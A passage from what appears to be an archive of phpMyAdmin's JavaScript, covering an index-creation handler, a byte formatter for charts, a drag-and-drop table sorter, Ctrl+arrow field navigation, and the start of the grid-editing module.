data.params.table); CommonActions.refreshMain('index.php?route=/table/structure'); }); }); /** * Ajax event handler for advanced index creation during table creation * and column addition. */ $('body').on('change', 'select[name*="field_key"]', function (e, showDialog) { var showDialogLocal = typeof showDialog !== 'undefined' ? showDialog : true; // Index of column on Table edit and create page. var colIndex = /\d+/.exec($(this).attr('name')); colIndex = colIndex[0]; // Choice of selected index. var indexChoice = /[a-z]+/.exec($(this).val()); indexChoice = indexChoice[0]; // Array containing corresponding indexes. var sourceArray = null; if (indexChoice === 'none') { Indexes.removeColumnFromIndex(colIndex); var id = 'index_name_' + '0' + '_8'; var $name = $('#' + id); if ($name.length === 0) { $name = $(''); $name.insertAfter($('select[name="field_key[' + '0' + ']"]')); } $name.html(''); return false; } // Select a source array. sourceArray = Indexes.getIndexArray(indexChoice); if (sourceArray === null) { return; } if (sourceArray.length === 0) { var index = { 'Key_name': indexChoice === 'primary' ? 'PRIMARY' : '', 'Index_choice': indexChoice.toUpperCase() }; Indexes.showAddIndexDialog(sourceArray, 0, [colIndex], colIndex, index, showDialogLocal); } else { if (indexChoice === 'primary') { var arrayIndex = 0; var sourceLength = sourceArray[arrayIndex].columns.length; var targetColumns = []; for (var i = 0; i < sourceLength; i++) { targetColumns.push(sourceArray[arrayIndex].columns[i].col_index); } targetColumns.push(colIndex); Indexes.showAddIndexDialog(sourceArray, arrayIndex, targetColumns, colIndex, sourceArray[arrayIndex], showDialogLocal); } else { // If there are multiple columns selected for an index, show advanced dialog. Indexes.indexTypeSelectionDialog(sourceArray, indexChoice, colIndex); } } }); $(document).on('click', '.show_index_dialog', function (e) { e.preventDefault(); // Get index details. var previousIndex = $(this).prev('select').attr('data-index').split(','); var indexChoice = previousIndex[0]; var arrayIndex = previousIndex[1]; var sourceArray = Indexes.getIndexArray(indexChoice); if (sourceArray !== null) { var sourceLength = sourceArray[arrayIndex].columns.length; var targetColumns = []; for (var i = 0; i < sourceLength; i++) { targetColumns.push(sourceArray[arrayIndex].columns[i].col_index); } Indexes.showAddIndexDialog(sourceArray, arrayIndex, targetColumns, -1, sourceArray[arrayIndex]); } }); $('#index_frm').on('submit', function () { if (typeof this.elements['index[Key_name]'].disabled !== 'undefined') { this.elements['index[Key_name]'].disabled = false; } }); });dist/jqplot/plugins/jqplot.byteFormatter.js000066600000002013151724472050015205 0ustar00/** * jqplot formatter for byte values * * @package phpMyAdmin */ (function ($) { 'use strict'; var formatByte = function (value, index) { var val = value; var i = index; var units = [Messages.strB, Messages.strKiB, Messages.strMiB, Messages.strGiB, Messages.strTiB, Messages.strPiB, Messages.strEiB]; while (val >= 1024 && i <= 6) { val /= 1024; i++; } var format = '%.1f'; if (Math.floor(val) === val) { format = '%.0f'; } return $.jqplot.sprintf(format + ' ' + units[i], val); }; /** * The index indicates what unit the incoming data will be in. * 0 for bytes, 1 for kilobytes and so on... * * @param index * * @return {String} */ $.jqplot.byteFormatter = function (index) { var i = index || 0; return function (format, value) { var val = value; if (typeof val === 'number') { val = parseFloat(val) || 0; return formatByte(val, i); } else { return String(val); } }; }; })(jQuery);dist/jquery.sortable-table.js000066600000022421151724472050012277 0ustar00/** * This file is internal to phpMyAdmin. * @license see the main phpMyAdmin license. * * @fileoverview A jquery plugin that allows drag&drop sorting in tables. * Coded because JQuery UI sortable doesn't support tables. Also it has no animation * * @name Sortable Table JQuery plugin * * @requires jQuery */ /** * Options: * * $('table').sortableTable({ * ignoreRect: { top, left, width, height } - Relative coordinates on each element. If the user clicks * in this area, it is not seen as a drag&drop request. Useful for toolbars etc. * events: { * start: callback function when the user starts dragging * drop: callback function after an element has been dropped * } * }) */ /** * Commands: * * $('table').sortableTable('init') - equivalent to $('table').sortableTable() * $('table').sortableTable('refresh') - if the table has been changed, refresh correctly assigns all events again * $('table').sortableTable('destroy') - removes all events from the table */ /** * Setup: * * Can be applied on any table, there is just one convention. * Each cell () has to contain one and only one element (preferably div or span) * which is the actually draggable element. */ (function ($) { jQuery.fn.sortableTable = function (method) { var methods = { init: function (options) { var tb = new SortableTableInstance(this, options); tb.init(); $(this).data('sortableTable', tb); }, refresh: function () { $(this).data('sortableTable').refresh(); }, destroy: function () { $(this).data('sortableTable').destroy(); } }; if (methods[method]) { return methods[method].apply(this, Array.prototype.slice.call(arguments, 1)); } else if (typeof method === 'object' || !method) { return methods.init.apply(this, arguments); } else { $.error('Method ' + method + ' does not exist on jQuery.sortableTable'); } function SortableTableInstance(table) { let options = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; var down = false; var $draggedEl; var oldCell; var previewMove; var id; /* Mouse handlers on the child elements */ var onMouseUp = function (e) { dropAt(e.pageX, e.pageY); }; var onMouseDown = function (e) { $draggedEl = $(this).children(); if ($draggedEl.length === 0) { return; } if (options.ignoreRect && insideRect({ x: e.pageX - $draggedEl.offset().left, y: e.pageY - $draggedEl.offset().top }, options.ignoreRect)) { return; } down = true; oldCell = this; if (options.events && options.events.start) { options.events.start(this); } return false; }; var globalMouseMove = function (e) { if (down) { move(e.pageX, e.pageY); if (inside($(oldCell), e.pageX, e.pageY)) { if (previewMove !== null) { moveTo(previewMove); previewMove = null; } } else { $(table).find('td').each(function () { if (inside($(this), e.pageX, e.pageY)) { if ($(previewMove).attr('class') !== $(this).children().first().attr('class')) { if (previewMove !== null) { moveTo(previewMove); } previewMove = $(this).children().first(); if (previewMove.length > 0) { moveTo($(previewMove), { pos: { top: $(oldCell).offset().top - $(previewMove).parent().offset().top, left: $(oldCell).offset().left - $(previewMove).parent().offset().left } }); } } return false; } }); } } return false; }; var globalMouseOut = function () { if (down) { down = false; if (previewMove) { moveTo(previewMove); } moveTo($draggedEl); previewMove = null; } }; // Initialize sortable table this.init = function () { id = 1; // Add some required css to each child element in the s $(table).find('td').children().each(function () { // Remove any old occurrences of our added draggable-num class $(this).attr('class', $(this).attr('class').replace(/\s*draggable-\d+/g, '')); $(this).addClass('draggable-' + id++); }); // Mouse events $(table).find('td').on('mouseup', onMouseUp); $(table).find('td').on('mousedown', onMouseDown); $(document).on('mousemove', globalMouseMove); $(document).on('mouseleave', globalMouseOut); }; // Call this when the table has been updated this.refresh = function () { this.destroy(); this.init(); }; this.destroy = function () { // Add some required css to each child element in the s $(table).find('td').children().each(function () { // Remove any old occurrences of our added draggable-num class $(this).attr('class', $(this).attr('class').replace(/\s*draggable-\d+/g, '')); }); // Mouse events $(table).find('td').off('mouseup', onMouseUp); $(table).find('td').off('mousedown', onMouseDown); $(document).off('mousemove', globalMouseMove); $(document).off('mouseleave', globalMouseOut); }; function switchElement(drag, dropTo) { var dragPosDiff = { left: $(drag).children().first().offset().left - $(dropTo).offset().left, top: $(drag).children().first().offset().top - $(dropTo).offset().top }; var dropPosDiff = null; if ($(dropTo).children().length > 0) { dropPosDiff = { left: $(dropTo).children().first().offset().left - $(drag).offset().left, top: $(dropTo).children().first().offset().top - $(drag).offset().top }; } /* I love you append(). It moves the DOM Elements so gracefully <3 */ // Put the element in the way to old place $(drag).append($(dropTo).children().first()).children().stop(true, true).on('mouseup', onMouseUp); if (dropPosDiff) { $(drag).append($(dropTo).children().first()).children().css('left', dropPosDiff.left + 'px').css('top', dropPosDiff.top + 'px'); } // Put our dragged element into the space we just freed up $(dropTo).append($(drag).children().first()).children().on('mouseup', onMouseUp).css('left', dragPosDiff.left + 'px').css('top', dragPosDiff.top + 'px'); moveTo($(dropTo).children().first(), { duration: 100 }); moveTo($(drag).children().first(), { duration: 100 }); if (options.events && options.events.drop) { // Drop event. The drag child element is moved into the drop element // and vice versa. So the parameters are switched. // Calculate row and column index const colIdx = $(dropTo).prevAll().length; const rowIdx = $(dropTo).parent().prevAll().length; options.events.drop(drag, dropTo, { col: colIdx, row: rowIdx }); } } function move(x, y) { $draggedEl.offset({ top: Math.min($(document).height(), Math.max(0, y - $draggedEl.height() / 2)), left: Math.min($(document).width(), Math.max(0, x - $draggedEl.width() / 2)) }); } function inside($el, x, y) { var off = $el.offset(); return y >= off.top && x >= off.left && x < off.left + $el.width() && y < off.top + $el.height(); } function insideRect(pos, r) { return pos.y > r.top && pos.x > r.left && pos.y < r.top + r.height && pos.x < r.left + r.width; } function dropAt(x, y) { if (!down) { return; } down = false; var switched = false; $(table).find('td').each(function () { if ($(this).children().first().attr('class') !== $(oldCell).children().first().attr('class') && inside($(this), x, y)) { switchElement(oldCell, this); switched = true; } }); if (!switched) { if (previewMove) { moveTo(previewMove); } moveTo($draggedEl); } previewMove = null; } function moveTo(elem) { let opts = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : {}; if (!opts.pos) { opts.pos = { left: 0, top: 0 }; } if (!opts.duration) { opts.duration = 200; } $(elem).css('position', 'relative'); $(elem).animate({ top: opts.pos.top, left: opts.pos.left }, { duration: opts.duration, complete: function () { if (opts.pos.left === 0 && opts.pos.top === 0) { $(elem).css('position', '').css('left', '').css('top', ''); } } }); } } }; })(jQuery);dist/keyhandler.js000066600000004013151724472050010204 0ustar00// global var that holds: 0- if ctrl key is not pressed 1- if ctrl key is pressed var ctrlKeyHistory = 0; /** * Allows moving around inputs/select by Ctrl+arrows * * @param {object} event data */ function onKeyDownArrowsHandler(event) { var e = event || window.event; var o = e.srcElement || e.target; if (!o) { return; } if (o.tagName !== 'TEXTAREA' && o.tagName !== 'INPUT' && o.tagName !== 'SELECT') { return; } if (e.which !== 17 && e.which !== 37 && e.which !== 38 && e.which !== 39 && e.which !== 40) { return; } if (!o.id) { return; } if (e.type === 'keyup') { if (e.which === 17) { ctrlKeyHistory = 0; } return; } else if (e.type === 'keydown') { if (e.which === 17) { ctrlKeyHistory = 1; } } if (ctrlKeyHistory !== 1) { return; } e.preventDefault(); var pos = o.id.split('_'); if (pos[0] !== 'field' || typeof pos[2] === 'undefined') { return; } var x = pos[2]; var y = pos[1]; switch (e.keyCode) { case 38: // up y--; break; case 40: // down y++; break; case 37: // left x--; break; case 39: // right x++; break; default: return; } var id = 'field_' + y + '_' + x; var nO = document.getElementById(id); if (!nO) { id = 'field_' + y + '_' + x + '_0'; nO = document.getElementById(id); } // skip non existent fields if (!nO) { return; } nO.focus(); if (nO.tagName !== 'SELECT') { nO.select(); } e.returnValue = false; } AJAX.registerTeardown('keyhandler.js', function () { $(document).off('keydown keyup', '#table_columns'); $(document).off('keydown keyup', 'table.insertRowTable'); }); AJAX.registerOnload('keyhandler.js', function () { $(document).on('keydown keyup', '#table_columns', function (event) { onKeyDownArrowsHandler(event.originalEvent); }); $(document).on('keydown keyup', 'table.insertRowTable', function (event) { onKeyDownArrowsHandler(event.originalEvent); }); });dist/makegrid.js000066600000236164151724472050007657 0ustar00/* global firstDayOfCalendar */ // templates/javascript/variables.twig /** * Create advanced table (resize, reorder, and show/hide columns; and also grid editing). * This function is designed mainly for table DOM generated from browsing a table in the database. * For using this function in other table DOM, you may need to: * - add "draggable" class in the table header , in order to make it resizable, sortable or hidable * - have at least one non-"draggable" header in the table DOM for placing column visibility drop-down arrow * - pass the value "false" for the parameter "enableGridEdit" * - adjust other parameter value, to select which features that will be enabled * * @param t the table DOM element * @param enableResize Optional, if false, column resizing feature will be disabled * @param enableReorder Optional, if false, column reordering feature will be disabled * @param enableVisib Optional, if false, show/hide column feature will be disabled * @param enableGridEdit Optional, if false, grid editing feature will be disabled */ // eslint-disable-next-line no-unused-vars var makeGrid = function (t, enableResize, enableReorder, enableVisib, enableGridEdit) { var isResizeEnabled = enableResize === undefined ? true : enableResize; var isReorderEnabled = enableReorder === undefined ? true : enableReorder; var isVisibEnabled = enableVisib === undefined ? true : enableVisib; var isGridEditEnabled = enableGridEdit === undefined ? true : enableGridEdit; var g = { /** ********* * Constant ***********/ minColWidth: 15, /** ********* * Variables, assigned with default value, changed later ***********/ actionSpan: 5, // number of colspan in Actions header in a table tableCreateTime: null, // table creation time, used for saving column order and visibility to server, only available in "Browse tab" // Column reordering variables colOrder: [], // array of column order // Column visibility variables colVisib: [], // array of column visibility showAllColText: '', // string, text for "show all" button under column visibility list visibleHeadersCount: 0, // number of visible data headers // Table hint variables reorderHint: '', // string, hint for column reordering sortHint: '', // string, hint for column sorting markHint: '', // string, hint for column marking copyHint: '', // string, hint for copy column name showReorderHint: false, showSortHint: false, showMarkHint: false, // Grid editing isCellEditActive: false, // true if current focus is in edit cell isEditCellTextEditable: false, // true if current edit cell is editable in the text input box (not textarea) currentEditCell: null, // reference to that currently being edited cellEditHint: '', // hint shown when doing grid edit gotoLinkText: '', // "Go to link" text wasEditedCellNull: false, // true if last value of the edited cell was NULL maxTruncatedLen: 0, // number of characters that can be displayed in a cell saveCellsAtOnce: false, // $cfg[saveCellsAtOnce] isCellEdited: false, // true if at least one cell has been edited saveCellWarning: '', // string, warning text when user want to leave a page with unsaved edited data lastXHR: null, // last XHR object used in AJAX request isSaving: false, // true when currently saving edited data, used to handle double posting caused by pressing ENTER in grid edit text box in Chrome browser alertNonUnique: '', // string, alert shown when saving edited nonunique table // Common hidden inputs token: null, server: null, db: null, table: null, /** ********** * Functions ************/ /** * Start to resize column. Called when clicking on column separator. * * @param e event * @param obj dragged div object */ dragStartRsz: function (e, obj) { var n = $(g.cRsz).find('div').index(obj); // get the index of separator (i.e., column index) $(obj).addClass('colborder_active'); g.colRsz = { x0: e.pageX, n: n, obj: obj, objLeft: $(obj).position().left, objWidth: $(g.t).find('th.draggable:visible').eq(n).find('span').outerWidth() }; // eslint-disable-next-line compat/compat $(document.body).css('cursor', 'col-resize').noSelect(); if (g.isCellEditActive) { g.hideEditCell(); } }, /** * Start to reorder column. Called when clicking on table header. * * @param e event * @param obj table header object */ dragStartReorder: function (e, obj) { // prepare the cCpy (column copy) and cPointer (column pointer) from the dragged column $(g.cCpy).text($(obj).text()); var objPos = $(obj).position(); $(g.cCpy).css({ top: objPos.top + 20, left: objPos.left, height: $(obj).height(), width: $(obj).width() }); $(g.cPointer).css({ top: objPos.top }); // get the column index, zero-based var n = g.getHeaderIdx(obj); g.colReorder = { x0: e.pageX, y0: e.pageY, n: n, newn: n, obj: obj, objTop: objPos.top, objLeft: objPos.left }; // eslint-disable-next-line compat/compat $(document.body).css('cursor', 'move').noSelect(); if (g.isCellEditActive) { g.hideEditCell(); } }, /** * Handle mousemove event when dragging. * * @param e event */ dragMove: function (e) { var dx; if (g.colRsz) { dx = e.pageX - g.colRsz.x0; if (g.colRsz.objWidth + dx > g.minColWidth) { $(g.colRsz.obj).css('left', g.colRsz.objLeft + dx + 'px'); } } else if (g.colReorder) { // dragged column animation dx = e.pageX - g.colReorder.x0; $(g.cCpy).css('left', g.colReorder.objLeft + dx).show(); // pointer animation var hoveredCol = g.getHoveredCol(e); if (hoveredCol) { var newn = g.getHeaderIdx(hoveredCol); g.colReorder.newn = newn; if (newn !== g.colReorder.n) { // show the column pointer in the right place var colPos = $(hoveredCol).position(); var newleft = newn < g.colReorder.n ? colPos.left : colPos.left + $(hoveredCol).outerWidth(); $(g.cPointer).css({ left: newleft, visibility: 'visible' }); } else { // no movement to other column, hide the column pointer $(g.cPointer).css('visibility', 'hidden'); } } } }, /** * Stop the dragging action. * * @param e event */ dragEnd: function (e) { if (g.colRsz) { var dx = e.pageX - g.colRsz.x0; var nw = g.colRsz.objWidth + dx; if (nw < g.minColWidth) { nw = g.minColWidth; } var n = g.colRsz.n; // do the resizing g.resize(n, nw); g.reposRsz(); g.reposDrop(); g.colRsz = false; $(g.cRsz).find('div').removeClass('colborder_active'); } else if (g.colReorder) { // shift columns if (g.colReorder.newn !== g.colReorder.n) { g.shiftCol(g.colReorder.n, g.colReorder.newn); // assign new position var objPos = $(g.colReorder.obj).position(); g.colReorder.objTop = objPos.top; g.colReorder.objLeft = objPos.left; g.colReorder.n = g.colReorder.newn; // send request to server to remember the column order if (g.tableCreateTime) { g.sendColPrefs(); } g.refreshRestoreButton(); } // animate new column position $(g.cCpy).stop(true, true).animate({ top: g.colReorder.objTop, left: g.colReorder.objLeft }, 'fast').fadeOut(); $(g.cPointer).css('visibility', 'hidden'); g.colReorder = false; } // eslint-disable-next-line compat/compat $(document.body).css('cursor', 'inherit').noSelect(false); }, /** * Resize column n to new width "nw" * * @param n zero-based column index * @param nw new width of the column in pixel */ resize: function (n, nw) { $(g.t).find('tr').each(function () { $(this).find('th.draggable:visible').eq(n).find('span').add($(this).find('td:visible').eq(g.actionSpan + n).find('span')).css('width', nw); }); }, /** * Reposition column resize bars. */ reposRsz: function () { $(g.cRsz).find('div').hide(); var $firstRowCols = $(g.t).find('tr').first().find('th.draggable:visible'); var $resizeHandles = $(g.cRsz).find('div').removeClass('condition'); $(g.t).find('table.pma_table').find('thead th').first().removeClass('before-condition'); for (var n = 0, l = $firstRowCols.length; n < l; n++) { var $col = $($firstRowCols[n]); var colWidth; if (navigator.userAgent.toLowerCase().indexOf('safari') !== -1) { colWidth = $col.outerWidth(); } else { colWidth = $col.outerWidth(true); } $($resizeHandles[n]).css('left', $col.position().left + colWidth).show(); if ($col.hasClass('condition')) { $($resizeHandles[n]).addClass('condition'); if (n > 0) { $($resizeHandles[n - 1]).addClass('condition'); } } } if ($($resizeHandles[0]).hasClass('condition')) { $(g.t).find('thead th').first().addClass('before-condition'); } $(g.cRsz).css('height', $(g.t).height()); }, /** * Shift column from index oldn to newn. * * @param oldn old zero-based column index * @param newn new zero-based column index */ shiftCol: function (oldn, newn) { $(g.t).find('tr').each(function () { if (newn < oldn) { $(this).find('th.draggable').eq(newn).add($(this).find('td').eq(g.actionSpan + newn)).before($(this).find('th.draggable').eq(oldn).add($(this).find('td').eq(g.actionSpan + oldn))); } else { $(this).find('th.draggable').eq(newn).add($(this).find('td').eq(g.actionSpan + newn)).after($(this).find('th.draggable').eq(oldn).add($(this).find('td').eq(g.actionSpan + oldn))); } }); // reposition the column resize bars g.reposRsz(); // adjust the column visibility list if (newn < oldn) { $(g.cList).find('.lDiv div').eq(newn).before($(g.cList).find('.lDiv div').eq(oldn)); } else { $(g.cList).find('.lDiv div').eq(newn).after($(g.cList).find('.lDiv div').eq(oldn)); } // adjust the colOrder var tmp = g.colOrder[oldn]; g.colOrder.splice(oldn, 1); g.colOrder.splice(newn, 0, tmp); // adjust the colVisib if (g.colVisib.length > 0) { tmp = g.colVisib[oldn]; g.colVisib.splice(oldn, 1); g.colVisib.splice(newn, 0, tmp); } }, /** * Find currently hovered table column's header (excluding actions column). * * @param e event * @return {object|undefined} the hovered column's th object or undefined if no hovered column found. */ getHoveredCol: function (e) { var hoveredCol; var $headers = $(g.t).find('th.draggable:visible'); $headers.each(function () { var left = $(this).offset().left; var right = left + $(this).outerWidth(); if (left <= e.pageX && e.pageX <= right) { hoveredCol = this; } }); return hoveredCol; }, /** * Get a zero-based index from a tag in a table. * * @param obj table header object * @return {number} zero-based index of the specified table header in the set of table headers (visible or not) */ getHeaderIdx: function (obj) { return $(obj).parents('tr').find('th.draggable').index(obj); }, /** * Reposition the columns back to normal order. */ restoreColOrder: function () { // use insertion sort, since we already have shiftCol function for (var i = 1; i < g.colOrder.length; i++) { var x = g.colOrder[i]; var j = i - 1; while (j >= 0 && x < g.colOrder[j]) { j--; } if (j !== i - 1) { g.shiftCol(i, j + 1); } } if (g.tableCreateTime) { // send request to server to remember the column order g.sendColPrefs(); } g.refreshRestoreButton(); }, /** * Send column preferences (column order and visibility) to the server. */ sendColPrefs: function () { if ($(g.t).is('.ajax')) { // only send preferences if ajax class if (typeof g.db !== 'string' && typeof g.table !== 'string') { // The server has nothing to do with it // Issue: https://github.com/phpmyadmin/phpmyadmin/issues/15658 return; } var postParams = { 'ajax_request': true, 'db': g.db, 'table': g.table, 'token': g.token, 'server': g.server, 'table_create_time': g.tableCreateTime }; if (g.colOrder.length > 0) { $.extend(postParams, { 'col_order': g.colOrder.toString() }); } if (g.colVisib.length > 0) { $.extend(postParams, { 'col_visib': g.colVisib.toString() }); } $.post('index.php?route=/sql/set-column-preferences', postParams, function (data) { if (data.success !== true) { var $tempDiv = $(document.createElement('div')); $tempDiv.html(data.error); $tempDiv.addClass('alert alert-danger'); Functions.ajaxShowMessage($tempDiv, false); } }); } }, /** * Refresh restore button state. * Make restore button disabled if the table is similar with initial state. */ refreshRestoreButton: function () { // check if table state is as initial state var isInitial = true; for (var i = 0; i < g.colOrder.length; i++) { if (g.colOrder[i] !== i) { isInitial = false; break; } } // check if only one visible column left var isOneColumn = g.visibleHeadersCount === 1; // enable or disable restore button if (isInitial || isOneColumn) { $(g.o).find('div.restore_column').hide(); } else { $(g.o).find('div.restore_column').show(); } }, /** * Update current hint using the boolean values (showReorderHint, showSortHint, etc.). * * @return {string} * */ updateHint: function () { var text = ''; if (!g.colRsz && !g.colReorder) { // if not resizing or dragging if (g.visibleHeadersCount > 1) { g.showReorderHint = true; } if ($(t).find('th.marker').length > 0) { g.showMarkHint = true; } if (g.showSortHint && g.sortHint) { text += text.length > 0 ? '
    ' : ''; text += '- ' + g.sortHint; } if (g.showMultiSortHint && g.strMultiSortHint) { text += text.length > 0 ? '
    ' : ''; text += '- ' + g.strMultiSortHint; } if (g.showMarkHint && g.markHint && !g.showSortHint && // we do not show mark hint, when sort hint is shown g.showReorderHint && g.reorderHint) { text += text.length > 0 ? '
    ' : ''; text += '- ' + g.reorderHint; text += text.length > 0 ? '
    ' : ''; text += '- ' + g.markHint; text += text.length > 0 ? '
    ' : ''; text += '- ' + g.copyHint; } } return text; }, /** * Toggle column's visibility. * After calling this function and it returns true, afterToggleCol() must be called. * * @param {number} n * * @return {boolean} True if the column is toggled successfully. */ toggleCol: function (n) { if (g.colVisib[n]) { // can hide if more than one column is visible if (g.visibleHeadersCount > 1) { $(g.t).find('tr').each(function () { $(this).find('th.draggable').eq(n).add($(this).find('td').eq(g.actionSpan + n)).hide(); }); g.colVisib[n] = 0; $(g.cList).find('.lDiv div').eq(n).find('input').prop('checked', false); } else { // cannot hide, force the checkbox to stay checked $(g.cList).find('.lDiv div').eq(n).find('input').prop('checked', true); return false; } } else { // column n is not visible $(g.t).find('tr').each(function () { $(this).find('th.draggable').eq(n).add($(this).find('td').eq(g.actionSpan + n)).show(); }); g.colVisib[n] = 1; $(g.cList).find('.lDiv div').eq(n).find('input').prop('checked', true); } return true; }, /** * This must be called if toggleCol() returns is true. * * This function is separated from toggleCol because, sometimes, we want to toggle * some columns together at one time and do just one adjustment after it, e.g. in showAllColumns(). */ afterToggleCol: function () { // some adjustments after hiding column g.reposRsz(); g.reposDrop(); g.sendColPrefs(); // check visible first row headers count g.visibleHeadersCount = $(g.t).find('tr').first().find('th.draggable:visible').length; g.refreshRestoreButton(); // Display minimum of one column - disable checkbox for hiding last column if (g.visibleHeadersCount <= 1) { $(g.cList).find('.lDiv div').each(function () { $(this).find('input:checkbox:checked').prop('disabled', true); }); } else { // Remove disabled property if showing more than one column $(g.cList).find('.lDiv div').each(function () { $(this).find('input:checkbox:disabled').prop('disabled', false); }); } }, /** * Show columns' visibility list. * * @param obj The drop down arrow of column visibility list */ showColList: function (obj) { // only show when not resizing or reordering if (!g.colRsz && !g.colReorder) { var pos = $(obj).position(); $(g.cList).css({ top: pos.top + $(obj).outerHeight(true) }).show(); $(obj).addClass('coldrop-hover'); } }, /** * Hide columns' visibility list. */ hideColList: function () { $(g.cList).hide(); $(g.cDrop).find('.coldrop-hover').removeClass('coldrop-hover'); }, /** * Reposition the column visibility drop-down arrow. */ reposDrop: function () { var $th = $(t).find('th:not(.draggable)'); for (var i = 0; i < $th.length; i++) { var $cd = $(g.cDrop).find('div').eq(i); // column drop-down arrow var pos = $($th[i]).position(); $cd.css({ left: pos.left + $($th[i]).width() - $cd.width(), top: pos.top }); } }, /** * Show all hidden columns. */ showAllColumns: function () { for (var i = 0; i < g.colVisib.length; i++) { if (!g.colVisib[i]) { g.toggleCol(i); } } g.afterToggleCol(); }, /** * Show edit cell, if it can be shown * * @param cell element to be edited */ showEditCell: function (cell) { // destroy the date picker instance left if any, see: #17703 var $datePickerInstance = $(g.cEdit).find('.hasDatepicker'); if ($datePickerInstance.length > 0) { $datePickerInstance.datepicker('destroy'); } if ($(cell).is('.grid_edit') && !g.colRsz && !g.colReorder) { if (!g.isCellEditActive) { var $cell = $(cell); if ('string' === $cell.attr('data-type') || 'blob' === $cell.attr('data-type') || 'json' === $cell.attr('data-type')) { g.cEdit = g.cEditTextarea; } else { g.cEdit = g.cEditStd; } // remove all edit area and hide it $(g.cEdit).find('.edit_area').empty().hide(); // reposition the cEdit element $(g.cEdit).css({ top: $cell.position().top, left: $cell.position().left }).show().find('.edit_box').css({ width: $cell.outerWidth(), height: $cell.outerHeight() }); // fill the cell edit with text from var value = Functions.getCellValue(cell); if ($cell.attr('data-type') === 'json' && $cell.is('.truncated') === false) { value = Functions.stringifyJSON(value, null, 4); } $(g.cEdit).find('.edit_box').val(value); g.currentEditCell = cell; $(g.cEdit).find('.edit_box').trigger('focus'); moveCursorToEnd($(g.cEdit).find('.edit_box')); $(g.cEdit).find('*').prop('disabled', false); } } function moveCursorToEnd(input) { var originalValue = input.val(); var originallength = originalValue.length; input.val(''); input.trigger('blur').trigger('focus').val(originalValue); input[0].setSelectionRange(originallength, originallength); } }, /** * Remove edit cell and the edit area, if it is shown. * * @param force Optional, force to hide edit cell without saving edited field. * @param data Optional, data from the POST AJAX request to save the edited field * or just specify "true", if we want to replace the edited field with the new value. * @param field Optional, the edited . If not specified, the function will * use currently edited from g.currentEditCell. * @param options Optional, this object contains a boolean named move (true, if called from move* functions) * and a to which the grid_edit should move */ hideEditCell: function (force, data, field, options) { if (g.isCellEditActive && !force) { // cell is being edited, save or post the edited data if (options !== undefined) { g.saveOrPostEditedCell(options); } else { g.saveOrPostEditedCell(); } return; } // cancel any previous request if (g.lastXHR !== null) { g.lastXHR.abort(); g.lastXHR = null; } if (data) { if (g.currentEditCell) { // save value of currently edited cell // replace current edited field with the new value var $thisField = $(g.currentEditCell); var isNull = $thisField.data('value') === null; if (isNull) { $thisField.find('span').html('NULL'); $thisField.addClass('null'); } else { $thisField.removeClass('null'); var value = data.isNeedToRecheck ? data.truncatableFieldValue : $thisField.data('value'); // Truncates the text. $thisField.removeClass('truncated'); if (CommonParams.get('pftext') === 'P' && value.length > g.maxTruncatedLen) { $thisField.addClass('truncated'); value = value.substring(0, g.maxTruncatedLen) + '...'; } // Add
    before carriage return. var newHtml = Functions.escapeHtml(value); newHtml = newHtml.replace(/\n/g, '
    \n'); var decimals = parseInt($thisField.attr('data-decimals')); // remove decimal places if column type not supported if (decimals === 0 && $thisField.attr('data-type').indexOf('time') !== -1) { newHtml = newHtml.substring(0, newHtml.indexOf('.')); } // remove additional decimal places if (decimals > 0 && $thisField.attr('data-type').indexOf('time') !== -1) { newHtml = newHtml.substring(0, newHtml.length - (6 - decimals)); } var selector = 'span'; if ($thisField.hasClass('hex') && $thisField.find('a').length) { selector = 'a'; } // Updates the code keeping highlighting (if any). var $target = $thisField.find(selector); if (!Functions.updateCode($target, newHtml, value)) { $target.html(newHtml); } } if ($thisField.is('.bit')) { $thisField.find('span').text($thisField.data('value')); } } if (data.transformations !== undefined) { $.each(data.transformations, function (cellIndex, value) { var $thisField = $(g.t).find('.to_be_saved').eq(cellIndex); $thisField.find('span').html(value); }); } if (data.relations !== undefined) { $.each(data.relations, function (cellIndex, value) { var $thisField = $(g.t).find('.to_be_saved').eq(cellIndex); $thisField.find('span').html(value); }); } // refresh the grid g.reposRsz(); g.reposDrop(); } // hide the cell editing area $(g.cEdit).hide(); $(g.cEdit).find('.edit_box').trigger('blur'); g.isCellEditActive = false; g.currentEditCell = null; // destroy datepicker in edit area, if exist var $dp = $(g.cEdit).find('.hasDatepicker'); if ($dp.length > 0) { // eslint-disable-next-line no-underscore-dangle $(document).on('mousedown', $.datepicker._checkExternalClick); $dp.datepicker('refresh'); // change the cursor in edit box back to normal // (the cursor become a hand pointer when we add datepicker) $(g.cEdit).find('.edit_box').css('cursor', 'inherit'); } }, /** * Show drop-down edit area when edit cell is focused. */ showEditArea: function () { if (!g.isCellEditActive) { // make sure the edit area has not been shown g.isCellEditActive = true; g.isEditCellTextEditable = false; /** * @var $td current edited cell */ var $td = $(g.currentEditCell); /** * @var $editArea the editing area */ var $editArea = $(g.cEdit).find('.edit_area'); /** * @var whereClause WHERE clause for the edited cell */ var whereClause = $td.parent('tr').find('.where_clause').val(); /** * @var fieldName String containing the name of this field. * @see Sql.getFieldName() */ var fieldName = Sql.getFieldName($(t), $td); /** * @var relationCurrValue String current value of the field (for fields that are foreign keyed). */ var relationCurrValue = $td.text(); /** * @var relationKeyOrDisplayColumn String relational key if in 'Relational display column' mode, * relational display column if in 'Relational key' mode (for fields that are foreign keyed). */ var relationKeyOrDisplayColumn = $td.find('a').attr('title'); /** * @var currValue String current value of the field (for fields that are of type enum or set). */ var currValue = $td.find('span').text(); // empty all edit area, then rebuild it based on $td classes $editArea.empty(); // remember this instead of testing more than once var isNull = $td.is('.null'); // add goto link, if this cell contains a link if ($td.find('a').length > 0) { var gotoLink = document.createElement('div'); gotoLink.className = 'goto_link'; $(gotoLink).append(g.gotoLinkText + ' ').append($td.find('a').clone()); $editArea.append(gotoLink); } g.wasEditedCellNull = false; if ($td.is(':not(.not_null)')) { // append a null checkbox $editArea.append('
